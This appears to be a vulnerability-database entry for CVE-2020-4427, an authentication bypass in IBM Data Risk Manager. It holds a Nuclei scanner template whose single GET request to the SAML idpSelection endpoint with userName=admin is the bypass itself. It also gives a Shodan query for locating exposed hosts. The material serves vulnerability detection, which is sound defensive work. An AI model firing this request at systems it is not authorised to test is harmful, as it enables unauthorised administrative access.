CVE-2020-4427: IBM Data Risk Manager - Authentication Bypass via SAML

日期: 2025-08-01 | 影响软件: IBM Data Risk Manager | POC: 已公开

漏洞描述

IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.

PoC代码[已公开]

id: CVE-2020-4427

info:
  name: IBM Data Risk Manager - Authentication Bypass via SAML
  author: ritikchaddha
  severity: critical
  description: |
    IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ibm_drm_rce.rb
    - https://seclists.org/fulldisclosure/2020/Apr/33
    - https://www.ibm.com/support/pages/node/6206875
    - https://nvd.nist.gov/vuln/detail/CVE-2020-4427
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-4427
    cwe-id: CWE-287
    epss-score: 0.91829
    epss-percentile: 0.99668
    cpe: cpe:2.3:a:ibm:data_risk_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: ibm
    product: data_risk_manager
    shodan-query: title:"IBM Data Risk Manager"
  tags: cve,cve2020,ibm,saml,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/albatross/saml/idpSelection?id={{randstr}}&userName=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: location
        words:
          - "localhost:8765"
          - "saml/idpSelection"
        condition: and

      - type: status
        status:
          - 302

    extractors:
      - type: kval
        part: header
        kval:
          - location
# digest: 4a0a00473045022030f37b331be8201f10e9635cc27a5e4403d0e07d0301b8e2d20b4924924f80e10221008c0747a7430cab64f47d3a573ea931b7f1abe096c2d3666e516cda11f1a21254:922c64590222798bb761d5b6d8e72950

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